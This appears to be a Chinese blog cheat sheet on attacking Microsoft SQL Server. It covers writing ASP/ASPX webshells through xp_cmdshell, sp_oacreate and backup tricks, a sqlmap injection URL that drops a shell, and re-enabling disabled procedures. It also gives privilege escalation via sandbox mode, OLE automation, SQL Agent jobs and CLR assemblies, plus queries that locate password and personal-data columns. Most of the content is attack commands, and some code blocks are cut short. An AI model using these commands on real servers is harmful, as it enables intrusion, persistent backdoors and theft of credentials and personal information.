存储过程xp_cmdshell写shell
- 拥有DBA权限
- 知道的网站绝对路径
xp_cmdshell不能调用,下面命令打开
在2005中xp_cmdshell的权限是system,2008中是network。
1 | #判断权限是不是sa,回是1说明是sa,因为只有sa用户才有权限开启。 |
1 | #关闭xp_cmdshell |
写shell
1 | exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> >>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp' |
sqlmap
1 | http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; |
如果xp_cmdshell
存储过程被删除
则可以使用如下进行恢复:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
存储过程sp_oacreate写shell
- 拥有DBA权限
- 知道的网站绝对路径
有do_owner权限的用户也可以。
判断当前是否为DBA权限,为1则可以提权
1 | select is_srvrolemember('sysadmin'); |
利用存储过程写入一句话
1 | declare @o int, @f int, @t int, @ret int |
被删除可以使用这个来提权试试,恢复sp_oacreate
1 | EXEC sp_configure 'show advanced options', 1; |
日志备份写shell
- 拥有DBA权限
- 知道的网站绝对路径
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
1 | alter database 库名 set RECOVERY FULL |
差异备份写shell
- 拥有DBA权限
- 知道的网站绝对路径
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
1 | backup database 库名 to disk = 'c:\bak.bak';-- |
Privilege Escalation
沙盒提权
- 拥有DBA权限
- sqlserver服务权限为system
- 服务器拥有jet.oledb.4.0驱动
1 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; |
Ole automation procedures提权
- 拥有DBA权限
判断当前是否为DBA权限,为1则可以提权
1 | select is_srvrolemember('sysadmin'); |
开启Ole automation procedures
1 | EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0; |
命令执行多种方式
- wscript.shell组件
1 | declare @luan int,@exec int,@text int,@str varchar(8000) |
- com组件
1 | declare @luan int,@exec int,@text int,@str varchar(8000) |
JobAgent提权
- 拥有DBA权限
- 需要sqlserver代理(sqlagent)开启
- 尝试开启sqlagent
1 | exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'; |
- 利用任务计划命令执行(无回显)
1 | USE msdb; |
CLR提权
- 拥有DBA权限
- 开启CLR
1 | exec sp_configure 'show advanced options','1';reconfigure;exec sp_configure 'clr enabled','1';reconfigure;exec sp_configure 'show advanced options','1'; |
- 导入CLR插件
1 | CREATE ASSEMBLY [MDATKit] |
- 创建CLR函数
1 | CREATE PROCEDURE [dbo].[kitmain] |
- kitmain函数命令执行
1 | exec kitmain 'cmdexec',N'whoami' |
Other
MSSQL 注入与提权方法整理:https://www.geekby.site/2021/01/mssql%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95%E6%95%B4%E7%90%86/
tips: 08之前的系统还可以写启动项、粘贴键替换。
xp_dirtree
1 | execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 |
xx 库中所有字段名带 pass|pwd 的表
1 | select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%') |
xx 库中所有字段名带个人信息的表
1 | select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%') |